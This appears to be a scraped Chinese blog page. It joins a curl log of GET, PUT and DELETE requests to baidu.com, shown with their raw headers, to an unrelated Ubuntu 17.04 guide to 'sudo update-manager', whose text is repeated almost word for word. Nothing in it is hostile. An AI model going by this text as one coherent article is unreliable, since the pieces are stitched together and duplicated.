GET /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
HTTP/1.1 200 OK
Date: Fri, 31 Mar 2017 04:05:06 GMT
Server: Apache
Last-Modified: Tue, 12 Jan 2010 13:48:00 GMT
ETag: "51-47cf7e6ee8400"
Accept-Ranges: bytes
Content-Length: 81
Cache-Control: max-age=86400
Expires: Sat, 01 Apr 2017 04:05:06 GMT
Connection: Keep-Alive
Content-Type: text/html
<html>
<meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
</html>
curl -XPUT http://baidu.com?say=hello
curl: (52) Empty reply from server
Head头:
PUT /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
加点参数看看,其-d参数和Post一样的位置:
curl -XPUT http://baidu.com?say=hello -d'{"title":"new version of elasticsearch released!","content":"Ver 1.0 released today!","tags":["announce","elasticsearch","release"]}'
curl: (52) Empty reply from server
PUT /?say=hello HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
{"title":"new version of elasticsearch released!","content":"Ver 1.0 released today!","tags":["announce","elasticsearch","release"]}
curl -XDELETE http://baidu.com/blog/article/1
curl: (52) Empty reply from server
DELETE /blog/article/1 HTTP/1.1
User-Agent: curl/7.29.0
Host: baidu.com
Accept: */*
Ubuntu17.04软件或系统更新命令sudo update-manager。 此时,系统就会开始检查是否有软件或者内核更新。 如果有更新,就会弹出上面的软件更新器。
Unix/LinuxC技术 jackxiang 2017-6-24 12:11
sudo update-manager。
此时,系统就会开始检查是否有软件或者内核更新。
如果有更新,就会弹出上面的软件更新器。
Ubuntu软件或系统更新
好了,我们点击立即安装。
Ubuntu软件或系统更新
此处,需要提示大家的是,我们在此处也可以点击 软件更新器的设置,打开 软件和更新弹窗,进行一些设置。
Ubuntu软件或系统更新
我们此处不做设置,点击关闭后,再点击立即安装,开始升级系统。
点击,详情,可以查看进度及更新的软件包情况。
Ubuntu软件或系统更新
Ubuntu软件或系统更新
等待一段时间后,更新结束。
提示:计算机需要重启以完成安装更新。
来自:http://jingyan.baidu.com/article/a17d5285113afc8098c8f2e3.html?qq-pf-to=pcqq.group
此时,系统就会开始检查是否有软件或者内核更新。
如果有更新,就会弹出上面的软件更新器。
Ubuntu软件或系统更新
好了,我们点击立即安装。
Ubuntu软件或系统更新
此处,需要提示大家的是,我们在此处也可以点击 软件更新器的设置,打开 软件和更新弹窗,进行一些设置。
Ubuntu软件或系统更新
我们此处不做设置,点击关闭后,再点击立即安装,开始升级系统。
点击,详情,可以查看进度及更新的软件包情况。
Ubuntu软件或系统更新
Ubuntu软件或系统更新
等待一段时间后,更新结束。
提示:计算机需要重启以完成安装更新。
来自:http://jingyan.baidu.com/article/a17d5285113afc8098c8f2e3.html?qq-pf-to=pcqq.group